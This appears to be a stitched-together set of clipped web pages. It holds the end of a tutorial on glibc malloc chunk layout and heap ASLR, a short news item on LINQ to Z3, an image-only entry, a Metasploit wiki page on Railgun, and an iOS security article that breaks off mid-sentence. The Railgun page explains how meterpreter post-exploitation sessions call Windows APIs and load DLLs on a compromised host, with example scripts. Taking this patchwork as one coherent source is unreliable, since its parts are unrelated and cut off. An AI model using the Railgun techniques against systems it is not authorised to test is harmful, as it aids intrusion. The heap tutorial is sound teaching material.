    #include <stdlib.h>
    #include <unistd.h>
    
    /**                                                                                            
     * pmem - print mem                                                                            
     * @p: memory address to start printing from                                                   
     * @bytes: number of bytes to print                                                            
     *                                                                                             
     * Return: nothing                                                                             
     */
    void pmem(void *p, unsigned int bytes)
    {
        unsigned char *ptr;
        unsigned int i;
    
        ptr = (unsigned char *)p;
        for (i = 0; i < bytes; i++)
        {
            if (i != 0)
            {
                printf(" ");
            }
            printf("%02x", *(ptr + i));
        }
        printf("\n");
    }
    
    /**
     * main - using the 0x10 bytes to jump to next malloc'ed chunks
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
        int i;
        void *heap_start;
        size_t size_of_the_block;
    
        heap_start = sbrk(0);
        write(1, "START\n", 6);
        for (i = 0; i < 10; i++)
        {
            p = malloc(1024 * (i + 1)); 
            *((int *)p) = i;
            printf("%p: [%i]\n", p, i);
        }
        p = heap_start;
        for (i = 0; i < 10; i++)
        {
            pmem(p, 0x10);
            size_of_the_block = *((size_t *)((char *)p + 8)) - 1;
            printf("%p: [%i] - size = %lu\n",
                  (void *)((char *)p + 0x10),
                  *((int *)((char *)p + 0x10)),
                  size_of_the_block);
            p = (void *)((char *)p + size_of_the_block);
        }
        write(1, "END\n", 4);
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 6-main.c -o 6
    julien@holberton:~/holberton/w/hackthevm3$ ./6 
    START
    0x9e6010: [0]
    0x9e6420: [1]
    0x9e6c30: [2]
    0x9e7840: [3]
    0x9e8850: [4]
    0x9e9c60: [5]
    0x9eb470: [6]
    0x9ed080: [7]
    0x9ef090: [8]
    0x9f14a0: [9]
    00 00 00 00 00 00 00 00 11 04 00 00 00 00 00 00
    0x9e6010: [0] - size = 1040
    00 00 00 00 00 00 00 00 11 08 00 00 00 00 00 00
    0x9e6420: [1] - size = 2064
    00 00 00 00 00 00 00 00 11 0c 00 00 00 00 00 00
    0x9e6c30: [2] - size = 3088
    00 00 00 00 00 00 00 00 11 10 00 00 00 00 00 00
    0x9e7840: [3] - size = 4112
    00 00 00 00 00 00 00 00 11 14 00 00 00 00 00 00
    0x9e8850: [4] - size = 5136
    00 00 00 00 00 00 00 00 11 18 00 00 00 00 00 00
    0x9e9c60: [5] - size = 6160
    00 00 00 00 00 00 00 00 11 1c 00 00 00 00 00 00
    0x9eb470: [6] - size = 7184
    00 00 00 00 00 00 00 00 11 20 00 00 00 00 00 00
    0x9ed080: [7] - size = 8208
    00 00 00 00 00 00 00 00 11 24 00 00 00 00 00 00
    0x9ef090: [8] - size = 9232
    00 00 00 00 00 00 00 00 11 28 00 00 00 00 00 00
    0x9f14a0: [9] - size = 10256
    END
    julien@holberton:~/holberton/w/hackthevm3$ 
    
[/code]

One of our open questions from the previous chapter is now answered: `malloc`
is using `0x10` additional bytes for each malloc’ed memory block to store the
size of the block.

<img src='img/0x10-malloc.png' width='400' height='300' alt='0x10 bytes
preceeding malloc' />

This data will actually be used by `free` to save it to a list of available
blocks for future calls to `malloc`.

But our study also raises a new question: what are the first 8 bytes of the 16
\(`0x10` in hexadecimal\) bytes used for? It seems to always be zero. Is it
just padding?

### RTFSC

At this stage, we probably want to check the source code of `malloc` to
confirm what we just found \(`malloc.c` from the glibc\).

[code]

    1055 /*
    1056       malloc_chunk details:
    1057    
    1058        (The following includes lightly edited explanations by Colin Plumb.)
    1059    
    1060        Chunks of memory are maintained using a `boundary tag' method as
    1061        described in e.g., Knuth or Standish.  (See the paper by Paul
    1062        Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a
    1063        survey of such techniques.)  Sizes of free chunks are stored both
    1064        in the front of each chunk and at the end.  This makes
    1065        consolidating fragmented chunks into bigger chunks very fast.  The
    1066        size fields also hold bits representing whether chunks are free or
    1067        in use.
    1068    
    1069        An allocated chunk looks like this:
    1070    
    1071    
    1072        chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    1073                |             Size of previous chunk, if unallocated (P clear)  |
    1074                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    1075                |             Size of chunk, in bytes                     |A|M|P|
    1076          mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    1077                |             User data starts here...                          .
    1078                .                                                               .
    1079                .             (malloc_usable_size() bytes)                      .
    1080                .                                                               |
    1081    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    1082                |             (size of chunk, but used for application data)    |
    1083                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    1084                |             Size of next chunk, in bytes                |A|0|1|
    1085                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    1086    
    1087        Where "chunk" is the front of the chunk for the purpose of most of
    1088        the malloc code, but "mem" is the pointer that is returned to the
    1089        user.  "Nextchunk" is the beginning of the next contiguous chunk.
    
[/code]

-> We were correct \o/. Right before the address returned by `malloc` to the user, we have two variables:
  * Size of previous chunk, if unallocated: we never free’d any chunks so that is why it was always 0
  * Size of chunk, in bytes

Let’s free some chunks to confirm that the first 8 bytes are used the way the
source code describes it \(`7-main.c`\):

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**                                                                                            
     * pmem - print mem                                                                            
     * @p: memory address to start printing from                                                   
     * @bytes: number of bytes to print                                                            
     *                                                                                             
     * Return: nothing                                                                             
     */
    void pmem(void *p, unsigned int bytes)
    {
        unsigned char *ptr;
        unsigned int i;
    
        ptr = (unsigned char *)p;
        for (i = 0; i < bytes; i++)
        {
            if (i != 0)
            {
                printf(" ");
            }
            printf("%02x", *(ptr + i));
        }
        printf("\n");
    }
    
    /**
     * main - confirm the source code
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
        int i;
        size_t size_of_the_chunk;
        size_t size_of_the_previous_chunk;
        void *chunks[10];
    
        for (i = 0; i < 10; i++)
        {
            p = malloc(1024 * (i + 1));
            chunks[i] = (void *)((char *)p - 0x10);
            printf("%p\n", p);
        }
        free((char *)(chunks[3]) + 0x10);
        free((char *)(chunks[7]) + 0x10);
        for (i = 0; i < 10; i++)
        {
            p = chunks[i];
            printf("chunks[%d]: ", i);
            pmem(p, 0x10);
            size_of_the_chunk = *((size_t *)((char *)p + 8)) - 1;
            size_of_the_previous_chunk = *((size_t *)((char *)p));
            printf("chunks[%d]: %p, size = %li, prev = %li\n",
                  i, p, size_of_the_chunk, size_of_the_previous_chunk);
        }
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 7-main.c -o 7
    julien@holberton:~/holberton/w/hackthevm3$ ./7
    0x1536010
    0x1536420
    0x1536c30
    0x1537840
    0x1538850
    0x1539c60
    0x153b470
    0x153d080
    0x153f090
    0x15414a0
    chunks[0]: 00 00 00 00 00 00 00 00 11 04 00 00 00 00 00 00
    chunks[0]: 0x1536000, size = 1040, prev = 0
    chunks[1]: 00 00 00 00 00 00 00 00 11 08 00 00 00 00 00 00
    chunks[1]: 0x1536410, size = 2064, prev = 0
    chunks[2]: 00 00 00 00 00 00 00 00 11 0c 00 00 00 00 00 00
    chunks[2]: 0x1536c20, size = 3088, prev = 0
    chunks[3]: 00 00 00 00 00 00 00 00 11 10 00 00 00 00 00 00
    chunks[3]: 0x1537830, size = 4112, prev = 0
    chunks[4]: 10 10 00 00 00 00 00 00 10 14 00 00 00 00 00 00
    chunks[4]: 0x1538840, size = 5135, prev = 4112
    chunks[5]: 00 00 00 00 00 00 00 00 11 18 00 00 00 00 00 00
    chunks[5]: 0x1539c50, size = 6160, prev = 0
    chunks[6]: 00 00 00 00 00 00 00 00 11 1c 00 00 00 00 00 00
    chunks[6]: 0x153b460, size = 7184, prev = 0
    chunks[7]: 00 00 00 00 00 00 00 00 11 20 00 00 00 00 00 00
    chunks[7]: 0x153d070, size = 8208, prev = 0
    chunks[8]: 10 20 00 00 00 00 00 00 10 24 00 00 00 00 00 00
    chunks[8]: 0x153f080, size = 9231, prev = 8208
    chunks[9]: 00 00 00 00 00 00 00 00 11 28 00 00 00 00 00 00
    chunks[9]: 0x1541490, size = 10256, prev = 0
    julien@holberton:~/holberton/w/hackthevm3$ 
    
[/code]

As we can see from the above listing, when the previous chunk has been free’d,
the malloc chunk’s first 8 bytes contain the size of the previous unallocated
chunk. So the correct representation of a malloc chunk is the following:

<img src='img/malloc-chunk.png' width='400' height='300' alt='malloc chunk' />

Also, it seems that the first bit of the next 8 bytes \(containing the size of
the current chunk\) serves as a flag to check if the previous chunk is used
\(`1`\) or not \(`0`\). So the correct updated version of our program should
be written this way \(`8-main.c`\):

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**                                                                                            
     * pmem - print mem                                                                            
     * @p: memory address to start printing from                                                   
     * @bytes: number of bytes to print                                                            
     *                                                                                             
     * Return: nothing                                                                             
     */
    void pmem(void *p, unsigned int bytes)
    {
        unsigned char *ptr;
        unsigned int i;
    
        ptr = (unsigned char *)p;
        for (i = 0; i < bytes; i++)
        {
            if (i != 0)
            {
                printf(" ");
            }
            printf("%02x", *(ptr + i));
        }
        printf("\n");
    }
    
    /**
     * main - updating with correct checks
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
        int i;
        size_t size_of_the_chunk;
        size_t size_of_the_previous_chunk;
        void *chunks[10];
        char prev_used;
    
        for (i = 0; i < 10; i++)
        {
            p = malloc(1024 * (i + 1));
            chunks[i] = (void *)((char *)p - 0x10);
        }
        free((char *)(chunks[3]) + 0x10);
        free((char *)(chunks[7]) + 0x10);
        for (i = 0; i < 10; i++)
        {
            p = chunks[i];
            printf("chunks[%d]: ", i);
            pmem(p, 0x10);
            size_of_the_chunk = *((size_t *)((char *)p + 8));
            prev_used = size_of_the_chunk & 1;
            size_of_the_chunk -= prev_used;
            size_of_the_previous_chunk = *((size_t *)((char *)p));
            printf("chunks[%d]: %p, size = %li, prev (%s) = %li\n",
                  i, p, size_of_the_chunk,
                  (prev_used? "allocated": "unallocated"), size_of_the_previous_chunk);
        }
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 8-main.c -o 8
    julien@holberton:~/holberton/w/hackthevm3$ ./8 
    chunks[0]: 00 00 00 00 00 00 00 00 11 04 00 00 00 00 00 00
    chunks[0]: 0x1031000, size = 1040, prev (allocated) = 0
    chunks[1]: 00 00 00 00 00 00 00 00 11 08 00 00 00 00 00 00
    chunks[1]: 0x1031410, size = 2064, prev (allocated) = 0
    chunks[2]: 00 00 00 00 00 00 00 00 11 0c 00 00 00 00 00 00
    chunks[2]: 0x1031c20, size = 3088, prev (allocated) = 0
    chunks[3]: 00 00 00 00 00 00 00 00 11 10 00 00 00 00 00 00
    chunks[3]: 0x1032830, size = 4112, prev (allocated) = 0
    chunks[4]: 10 10 00 00 00 00 00 00 10 14 00 00 00 00 00 00
    chunks[4]: 0x1033840, size = 5136, prev (unallocated) = 4112
    chunks[5]: 00 00 00 00 00 00 00 00 11 18 00 00 00 00 00 00
    chunks[5]: 0x1034c50, size = 6160, prev (allocated) = 0
    chunks[6]: 00 00 00 00 00 00 00 00 11 1c 00 00 00 00 00 00
    chunks[6]: 0x1036460, size = 7184, prev (allocated) = 0
    chunks[7]: 00 00 00 00 00 00 00 00 11 20 00 00 00 00 00 00
    chunks[7]: 0x1038070, size = 8208, prev (allocated) = 0
    chunks[8]: 10 20 00 00 00 00 00 00 10 24 00 00 00 00 00 00
    chunks[8]: 0x103a080, size = 9232, prev (unallocated) = 8208
    chunks[9]: 00 00 00 00 00 00 00 00 11 28 00 00 00 00 00 00
    chunks[9]: 0x103c490, size = 10256, prev (allocated) = 0
    julien@holberton:~/holberton/w/hackthevm3$ 
    
[/code]

## Is the heap actually growing upwards?

The last question left unanswered is: “Is the heap actually growing upwards?”.
From the `brk` man page, it seems so:

[code]

    DESCRIPTION
           brk() and sbrk() change the location of the program break, which defines the end  of  the
           process's  data  segment  (i.e., the program break is the first location after the end of
           the uninitialized data segment).  Increasing the program break has the effect of allocat‐
           ing memory to the process; decreasing the break deallocates memory.
    
[/code]

Let’s check\! \(`9-main.c`\)

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**
     * main - moving the program break
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        int i;
    
        write(1, "START\n", 6);
        malloc(1);
        getchar();
        write(1, "LOOP\n", 5);
        for (i = 0; i < 0x25000 / 1024; i++)
        {
            malloc(1024);
        }
        write(1, "END\n", 4);
        getchar();
        return (EXIT_SUCCESS);
    }
    
[/code]

Now let’s confirm this assumption with strace:

[code]

    julien@holberton:~/holberton/w/hackthevm3$ strace ./9 
    execve("./9", ["./9"], [/* 61 vars */]) = 0
    ...
    write(1, "START\n", 6START
    )                  = 6
    brk(0)                                  = 0x1fd8000
    brk(0x1ff9000)                          = 0x1ff9000
    ...
    write(1, "LOOP\n", 5LOOP
    )                   = 5
    brk(0x201a000)                          = 0x201a000
    write(1, "END\n", 4END
    )                    = 4
    ...
    julien@holberton:~/holberton/w/hackthevm3$ 
    
[/code]

clearly, `malloc` made only two calls to `brk` to increase the allocated space
on the heap. And the second call is using a higher memory address argument
\(`0x201a000` > `0x1ff9000`\). The second syscall was triggered when the space
on the heap was too small to host all the malloc calls.

Let’s double check with `/proc`.

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 9-main.c -o 9
    julien@holberton:~/holberton/w/hackthevm3$ ./9
    START
    
    
[/code]

[code]

    julien@holberton:/proc/7855$ ps aux | grep \ \./9$
    julien     7972  0.0  0.0   4332   684 pts/9    S+   19:08   0:00 ./9
    julien@holberton:/proc/7855$ cd /proc/7972
    julien@holberton:/proc/7972$ cat maps
    ...
    00901000-00922000 rw-p 00000000 00:00 0                                  [heap]
    ...
    julien@holberton:/proc/7972$ 
    
[/code]

-> `00901000-00922000 rw-p 00000000 00:00 0 [heap]`  
Let’s hit Enter and look at the \[heap\] again:

[code]

    LOOP
    END
    
    
[/code]

[code]

    julien@holberton:/proc/7972$ cat maps
    ...
    00901000-00943000 rw-p 00000000 00:00 0                                  [heap]
    ...
    julien@holberton:/proc/7972$ 
    
[/code]

-> `00901000-00943000 rw-p 00000000 00:00 0 [heap]`  
The beginning of the heap is still the same, but the size has increased
upwards from `00922000` to `00943000`.

## The Address Space Layout Randomisation \(ASLR\)

You may have noticed something “strange” in the `/proc/pid/maps` listing
above, that we want to study:

The program break is the address of the first location beyond the current end
of the data region – so the address of the first location beyond the
executable in the virtual memory. As a consequence, the heap should start
right after the end of the executable in memory. As you can see in all above
listing, it is NOT the case. The only thing that is true is that the heap is
always the next memory region after the executable, which makes sense since
the heap is actually part of the data segment of the executable itself. Also,
if we look even closer, the memory gap size between the executable and the
heap is never the same:

_Format of the following lines: \[PID of the above`maps` listings\]: address
of the beginning of the \[heap\] – address of the end of the executable =
memory gap size_

  * \[3718\]: 01195000 – 00602000 = b93000
  * \[3834\]: 024d6000 – 00602000 = 1ed4000
  * \[4014\]: 00e70000 – 00602000 = 86e000
  * \[4172\]: 01314000 – 00602000 = d12000
  * \[7972\]: 00901000 – 00602000 = 2ff000

It seems that this gap size is random, and indeed, it is. If we look at the
ELF binary loader source code \(`fs/binfmt_elf.c`\) we can find this:

[code]

            if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
                    current->mm->brk = current->mm->start_brk =
                            arch_randomize_brk(current->mm);
    #ifdef compat_brk_randomized
                    current->brk_randomized = 1;
    #endif
            }
    
[/code]

where `current->mm->brk` is the address of the program break. The
`arch_randomize_brk` function can be found in the `arch/x86/kernel/process.c`
file:

[code]

    unsigned long arch_randomize_brk(struct mm_struct *mm)
    {
            unsigned long range_end = mm->brk + 0x02000000;
            return randomize_range(mm->brk, range_end, 0) ? : mm->brk;
    }
    
[/code]

The `randomize_range` returns a start address such that:

[code]

        [...... <range> .....]
      start                  end
    
[/code]

Source code of the `randomize_range` function \(`drivers/char/random.c`\):

[code]

    /*
     * randomize_range() returns a start address such that
     *
     *    [...... <range> .....]
     *  start                  end
     *
     * a <range> with size "len" starting at the return value is inside in the
     * area defined by [start, end], but is otherwise randomized.
     */
    unsigned long
    randomize_range(unsigned long start, unsigned long end, unsigned long len)
    {
            unsigned long range = end - len - start;
    
            if (end <= start + len)
                    return 0;
            return PAGE_ALIGN(get_random_int() % range + start);
    }
    
[/code]

As a result, the offset between the data section of the executable and the
program break initial position when the process runs can have a size of
anywhere between `0` and `0x02000000`. This randomization is known as Address
Space Layout Randomisation \(ASLR\). ASLR is a computer security technique
involved in preventing exploitation of memory corruption vulnerabilities. In
order to prevent an attacker from jumping to, for example, a particular
exploited function in memory, ASLR randomly arranges the address space
positions of key data areas of a process, including the positions of the heap
and the stack.

## The updated VM diagram

With all the above in mind, we can now update our VM diagram:

<img src='img/virtual_memory_diagram_v2.png' width='433' height='450'
alt='Virtual memory diagram' />

## `malloc(0)`

Did you ever wonder what was happening when we call `malloc` with a size of
`0`? Let’s check\! \(`10-main.c`\)

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    /**                                                                                            
     * pmem - print mem                                                                            
     * @p: memory address to start printing from                                                   
     * @bytes: number of bytes to print                                                            
     *                                                                                             
     * Return: nothing                                                                             
     */
    void pmem(void *p, unsigned int bytes)
    {
        unsigned char *ptr;
        unsigned int i;
    
        ptr = (unsigned char *)p;
        for (i = 0; i < bytes; i++)
        {
            if (i != 0)
            {
                printf(" ");
            }
            printf("%02x", *(ptr + i));
        }
        printf("\n");
    }
    
    /**
     * main - moving the program break
     *
     * Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
     */
    int main(void)
    {
        void *p;
        size_t size_of_the_chunk;
        char prev_used;
    
        p = malloc(0);
        printf("%p\n", p);
        pmem((char *)p - 0x10, 0x10);
        size_of_the_chunk = *((size_t *)((char *)p - 8));
        prev_used = size_of_the_chunk & 1;
        size_of_the_chunk -= prev_used;
        printf("chunk size = %li bytes\n", size_of_the_chunk);
        return (EXIT_SUCCESS);
    }
    
[/code]

[code]

    julien@holberton:~/holberton/w/hackthevm3$ gcc -Wall -Wextra -pedantic -Werror 10-main.c -o 10
    julien@holberton:~/holberton/w/hackthevm3$ ./10
    0xd08010
    00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00
    chunk size = 32 bytes
    julien@holberton:~/holberton/w/hackthevm3$ 
    
[/code]

-> `malloc(0)` is actually using 32 bytes, including the first `0x10` bytes.
Again, note that this will not always be the case. From the man page \(`man
malloc`\):

[code]

    NULL may also be returned by a successful call to malloc() with a size of zero
    
[/code]

## Outro

We have learned a couple of things about malloc and the heap. But there is
actually more than `brk` and `sbrk`. You can try malloc’ing a big chunk of
memory, `strace` it, and look at `/proc` to learn more before we cover it in a
next chapter <img src='img/4699_1f642.svg' width='576' height='576' alt='🙂' />

Also, studying how `free` works in coordination with `malloc` is something we
haven’t covered yet. If you want to look at it, you will find part of the
answer to why the minimum chunk size is `32` \(when we ask `malloc` for `0`
bytes\) vs `16` \(`0x10` in hexadecimal\) or `0`.

As usual, to be continued\! Let me know if you have something you would like
me to cover in the next chapter.

### Questions? Feedback?

If you have questions or feedback don’t hesitate to ping us on Twitter at
@holbertonschool or @julienbarbier42.  
_Haters, please send your comments to`/dev/null`._

Happy Hacking\!

### Thank you for reading\!

As always, no-one is perfect \(except Chuck of course\), so don’t hesitate to
contribute or send me your comments if you find anything I missed.

### Files

This repo contains the source code \(`naive_malloc.c`, `version.c` &
“X-main.c\` files\) for programs created in this tutorial.

### Read more about the virtual memory

Follow @holbertonschool or @julienbarbier42 on Twitter to get the next
chapters\!

_Many thanks toTim, Anne and Ian for proof-reading\!_ <img
src='img/4699_1f642.svg' width='576' height='576' alt='🙂' />

Sharing is caring

  

# InfoQ: LINQ to Z3, The World’s Fasted Theorem Prover

**Created:**| _6/8/2011 1:43:21 PM_  
---|---  
**Updated:**| _6/8/2011 1:43:21 PM_  
**Author:**| __  
**Tags:**| _solver SMT linq_  
  

# LINQ to Z3, The World’s Fasted Theorem Prover

Posted by **Jonathan Allen** on Nov 29, 2010

Community

    .NET
Topics

    Theorem Prover
Tags

    Z3 ,
    LINQ
Share <img src='img/sm-plus.gif' width='16' height='15' alt='Share' /> |

Microsoft Research claims that Z3 is the world’s fastest theorem prover. Z3 is
designed to be a low-level tool for other applications, it is not meant to
stand-alone. With its host of theorem provers, it is used by numerous projects
including Spec\#/Boogie, Pex, Yogi, Vigilante, SLAM, F7, SAGE, VS3, FORMULA,
and HAVOC.

Using Z3’s .NET API, one can encode theorems using an object-orientated style.
However the example in the Z3 Tutorial demonstrates that even small problems
can be quite tedious to code. Bart De Smet greatly simplified this by wrapping
the OO-style API with a query-style API called LINQ to Z3. Below is an example
that accompanied Bart De Smet’s Channel 9 interview.

[code]

      var theorem = from t in ctx.NewTheorem<Symbols<int, int, int, int, int>>()
        where t.X1 - t.X2 >= 1
        where t.X1 - t.X2 <= 3
        where t.X1 == (2 * t.X3) + t.X5
        where t.X3 == t.X5
        where t.X2 == 6 * t.X4
        select t; 
      var solution = theorem.Solve();
      Console.WriteLine("X1 = {0}, X2 = {1}, X3 = {2}, X4 = {3}, X5 = {4}",
    
[/code]

Support for Z3 primarily available on Windows, but there is a Linux version of
Z3. Z3 is released for non-commercial use under the “Microsoft Research
License Agreement”. You can play with an on-line version of Z3 on RiSE4fun.

# Mapping Kernel Objects to Enable Systematic Integrity Checking

**Created:**| _10/13/2009 8:44:12 PM_  
---|---  
**Updated:**| _10/13/2009 8:44:33 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security_  
  
<img src='img/Temp2_5206' />

# Metasploit Framework - RailgunUsage - Metasploit Redmine Interface

**Created:**| _2/25/2011 9:45:41 AM_  
---|---  
**Updated:**| _2/25/2011 9:45:52 AM_  
**Author:**| __  
**Tags:**| _ruby post-exploitation Metasploit_  
  

# Metasploit Framework

  * Übersicht
  * Aktivität
  * Roadmap
  * Tickets
  * Wiki
  * Projektarchiv

### Popular entries

  1. WikiStart\(56594\)
  2. Install Windows\(39078\)
  3. Install Linux\(35501\)
  4. Install Ubuntu\(31184\)
  5. UserGuide\(27264\)
  6. Updating\(26828\)
  7. Installation\(24038\)
  8. Karmetasploit\(23417\)
  9. NeXpose Plugin\(18001\)
  10. Install BackTrack\(14654\)
  11. Release Notes 33\(14540\)
  12. FeatureGuide\(11445\)
  13. Exploit Ranking\(11203\)
  14. Release Notes 333\(11169\)
  15. Release Notes 34\(9768\)
  16. Install MacOSX\(9023\)
  17. AutomatingMeterpreter\(8163\)
  18. Install iPhone\(6159\)
  19. WMAP\(5458\)
  20. Install Android\(5281\)
  21. AdvisoryToExploit\(5086\)
  22. OracleUsage\(4796\)
  23. Release Notes 332\(4794\)
  24. PortingExploits\(4703\)
  25. DeveloperGuide\(4536\)
  26. Pivoting\(4493\)
  27. Release Notes 331\(3724\)
  28. DisableCourtesyShell\(3285\)
  29. Release Notes 32\(3174\)
  30. ContributingToTheFramework\(2877\)

### Wiki

Hauptseite  
Seiten nach Titel sortiert  
Seiten nach Datum sortiert  

# Railgun Usage

On June 13th 2010, “Patrick HVE” released RAILGUN:
http://mail.metasploit.com/pipermail/framework/2010-June/006382.html

Added to the frame work with revision 9712:
http://www.metasploit.com/redmine/projects/framework/repository/revisions/9712

Railgun is a meterpreter module that allows live Windows API calls. It works
on both 32 and 64 bit meterpreter sessions. Using Railgun, you can interact
not just with Windows API, but also with whatever DLLs happen to be available.

## Getting started

  1. Identify the function\(s\) you wish to call
  2. Locate the function on http://msdn.microsoft.com/en-us/library/aa383749\(v=vs.85\).aspx \(remember there are undocumented functions in Windows\)
  3. Check what library\(DLL\) it's in \(User32.dll/Kernel32.dll\)
  4. Check railguns' definition files to see if the function is already added:https://www.metasploit.com/redmine/projects/framework/repository/show/lib/rex/post/meterpreter/extensions/stdapi/railgun/def
  5. If it's not apart of railgun or is a custom dll/library from a software package or one the attacker has loaded, railgun has the ability to add functions on the fly: 
    1. client.railgun.add\_dll\('dllnamehere','C:\\\dll\\\path\\\here\\\dllnamehere.dll'\)
    2. client.railgun.add\_function\('dllnamehere', 'CustomFunctionThatReturnsABOOL', 'BOOL', \[\]\)
    3. client.railgun.get\_dll\('dllnamehere'\).CustomFunctionThatReturnsABOOL\(\)
    4. \-- and you can find more examples in the definition files
  6. Last, test the function with given parameters - Microsoft's System Error Codes page will help you decipher the returned error code if the function returns an errorhttp://msdn.microsoft.com/en-us/library/ms681381\(v=vs.85\).aspx
  7. Call the function as part of a post module or meterpreter script: LockWorkstation which is in User32.dll and already in Railgun can be called like so: client.railgun.user32.LockWorkStation\(\)

An example script with error checking:  

[code]

    print_status "Running the IsUserAnAdmin function" 
    # Instead of client.railgun.get_dll('dll_name_here') you can use client.railgun.dll_name_here
    status = client.railgun.shell32.IsUserAnAdmin()
    
    # The 'result' key is always associated with the value returned by the function
    if status['return'] == true then 
            print_status 'You are an administrator'
    else 
            print_error 'You are not an administrator'
    end
    
    
[/code]

## Adding DLLs on the fly

In the previous example we were able to rely on the fact that the DLL we were
working with \(shell32\) was already added to Railgun along with the function.
However, railgun can load DLLs on the fly.

[code]

    if client.railgun.get_dll('shell32') == nil
        print_status "Adding Shell32.dll" 
        client.railgun.add_dll('shell32','C:\\WINDOWS\\system32\\shell32.dll')
    else
        print_status "Shell32 already loaded.. skipping" 
    end
    
    if client.railgun.shell32.functions['IsUserAnAdmin'] == nil
        print_status "Adding the IsUserAnAdmin function" 
        client.railgun.add_function('shell32', 'IsUserAnAdmin', 'BOOL', [])
    else
        print_status "IsUserAnAdmin already loaded.. skipping" 
    end
    
    
[/code]

## DLL and function definitions

If you don't want to call add\_function and/or add\_dll every time you want to
use a function, you can alternatively integrate your definitions into
Metasploit itself \(assuming they are for DLLs that come standard with
Windows\).

### DLL definitions

As mentioned earlier, definition files for railgun exist under
_lib/rex/post/meterpreter/extensions/stdapi/railgun/def_. If the DLL you want
to use isn't already represented there and it is shipped with Windows, you are
encouraged to add and share it. The naming standard for these files is  _def_
\_ followed by the api name. For example, the definition file for netapi32 is
_def\_netapi32.rb_. If you open  _def\_netapi32.rb_ , you will see something
like...

[code]

    module Rex
    module Post
    module Meterpreter
    module Extensions
    module Stdapi
    module Railgun
    module Def
    class Def_netapi32
    ...
        def self.add_imports(railgun)
            railgun.add_dll('netapi32')
    ...
        end
    
    end
    end; end; end; end; end; end; end
    
    
[/code]

The job of add\_imports is to make the DLL and its functions available to
railgun. Every instance of railgun will call add\_imports the first time a
given DLL is requested.

When you create your definition file, it should follow the same general form.
A good way to start out is by copying an existing definition file, cutting out
the guts \(constants, functions, etc.\), and replacing the original DLL name
with the one you want to add. Alternatively you could simply copy and paste
the above and make the necessary changes.

After you have added the definition file, it's time to make it available to
railgun users. To do this, we must make changes to
_lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb_. The method
that concerns us at the moment is  _get\_dll_.  _get\_dll_ is called whenever
a DLL is requested \(either by the user calling get\_dll directly, or by
method\_missing being triggered \(e.g. `client.railgun.some_api_woot` will
call `get_dll('some_api_woot')`\)\). If a DLL has not already been loaded,
railgun proceeds to load it. Scroll down a bit and you will several entries
like

[code]

    when 'netapi32'
        require 'rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32'
        Def::Def_netapi32.add_imports(self)
    
    
[/code]

Duplicate this code, but use the desired DLL's name instead of the example's.
Once you are finished and Metasploit has been restarted,
client.railgun.your\_dll\_name will now lead to the DLL.

### Function definitions

For information
seehttps://www.metasploit.com/redmine/projects/framework/repository/show/external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun\_manual.pdf

Also look at examples of railgun use in the Metasploit code base and then
check any corresponding definitions. Note, if there is a definition, but it is
not used in Metasploit, it may be incorrect and in need of tweaking.

## Reading Windows Data Structures

Some function calls will result in a data structure being written to the
pointer provided by an out parameter. To read such a data structures, we use
client.railgun.util.read\_data

## Reading Arrays

At times functions will write an array to an out parameter. In this case we
turn to clien.railgun.util.read\_array.

## References

System Error Codes - http://msdn.microsoft.com/en-
us/library/ms681381\(VS.85\).aspx  
theForger’s Win32 API Programming Tutorial - http://www.winprog.org/tutorial/  
MS Windows API Reference - http://msdn.microsoft.com/en-us/library/aa383749  
The Undocumented Functions – Win NT/2k/XP/2k3 -
http://undocumented.ntinternals.net/  
WineAPI Documentation - http://source.winehq.org/WineAPI/

# IOS Application Security Part 16 - Runtime Analysis of IOS Applications
using iNalyzer - InfoSec Institute

**Created:**| _12/8/2013 2:05:12 PM_  
---|---  
**Updated:**| _12/8/2013 2:05:12 PM_  
**Author:**| __  
**Tags:**| _Debugging iOS_  
  

# **R** untime Analysis of IOS Applications using iNalyzer****

## Download & Resources****

Sign up for our newsletter to get the latest updates**.**

## View our FREE mini-courses**\!**

  
  

## Discounted Boot Camps****

In the previous article, we looked at how we can perform static analysis of
IOS Applications using iNalyzer**.** In this article, we will look at how we
